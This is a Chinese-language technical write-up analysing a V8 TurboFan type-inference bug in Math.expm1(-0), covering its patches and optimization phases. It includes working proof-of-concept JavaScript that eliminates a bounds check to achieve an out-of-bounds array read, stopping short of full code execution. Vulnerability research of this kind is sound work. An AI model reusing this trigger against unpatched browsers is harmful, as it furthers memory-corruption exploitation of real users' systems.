v8-Math.expm1-OOB深入分析
字数 1252 2025-08-24 23:51:15
V8 Math.expm1(-0) OOB漏洞深入分析与利用
漏洞概述
这个漏洞涉及V8 JavaScript引擎中Math.expm1(-0)函数的类型推断错误,导致边界检查(CheckBounds)被错误消除,从而可能引发越界访问(OOB)。漏洞最初被认为只是一个功能特性问题,但后来被发现完全可利用来实现远程代码执行(RCE)。
漏洞背景
相关Issue
漏洞表现
function foo() {
return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());
输出:
true
false
补丁分析
漏洞被修复了两次:
- 第一次补丁修改了
operation-typer.cc:
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
- return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}
- 第二次补丁修改了
typer.cc:
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
- case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
...
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
+ case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
类型系统关键概念
- PlainNumber: 表示除-0之外的任何浮点数
- Number: 包括所有浮点数,包含-0
- NaN: 非数字类型
漏洞原理
TurboFan优化机制
TurboFan根据类型反馈(FeedBack)和预测来工作:
- 初始假设输入为Number类型
- 当类型反馈显示输入是字符串时,触发去优化(deoptimization)
- 第二次编译时使用内置函数优化,接受任何类型
类型推断错误
补丁前:
Math.expm1返回类型为PlainNumber|NaN,不包括-0- 但实际
Math.expm1(-0)返回-0
补丁后:
- 返回类型改为
Number,包含-0
漏洞利用步骤
1. 触发去优化
function test(x) {
var b = Object.is(Math.expm1(x), -0);
return b;
}
print(test(-0));
for (var i = 0; i < 100000; i++) {
test("1"); // 传入字符串触发去优化
}
print(test(-0));
使用--trace-deopt查看去优化信息:
[deoptimizing (DEOPT eager): begin 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7ffe301a06c0]
;;; deoptimize at <./exp.js:2:25>, not a Number or Oddball
2. 绕过早期优化折叠
使用逃逸分析(escape-analysis)防止SameValue在typer阶段被折叠:
function test(x) {
var a = [1.1, 2.2, 3.3, 4.4];
var c = {x: -0}; // 使用对象属性防止早期折叠
var b = Object.is(Math.expm1(x), c.x);
return a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0)); // 输出: 2.2741325538412e-310 (OOB访问)
3. 关键优化阶段分析
- Typer阶段: SameValue未被折叠
- Typed-lowering阶段: 未被简化为ObjectIsMinusZero
- Escape-analysis阶段: SameValue右结点被折叠为-0
- Simplified-lowering阶段: CheckBounds被消除
漏洞利用关键点
- 类型混淆: 利用TurboFan对
Math.expm1返回类型的错误推断 - 去优化触发: 通过改变输入类型使优化假设失效
- 逃逸分析: 防止关键比较在早期优化阶段被折叠
- 边界检查消除: 最终导致越界访问
TurboFan优化管道
- Typer阶段: 类型推断
- Typed-lowering阶段: 高级操作降级
- Escape-analysis阶段: 分析对象逃逸情况
- Simplified-lowering阶段: 低级优化和折叠
总结
这个漏洞展示了V8引擎中类型系统与优化器交互的复杂性,以及如何通过精心构造的输入序列来利用类型推断错误。关键点包括:
- TurboFan的"惰性思维"优化策略
- 类型反馈与去优化机制的相互作用
- 逃逸分析在防止早期优化折叠中的作用
- 边界检查消除的条件和影响
通过理解这些机制,可以更好地分析类似的JavaScript引擎漏洞。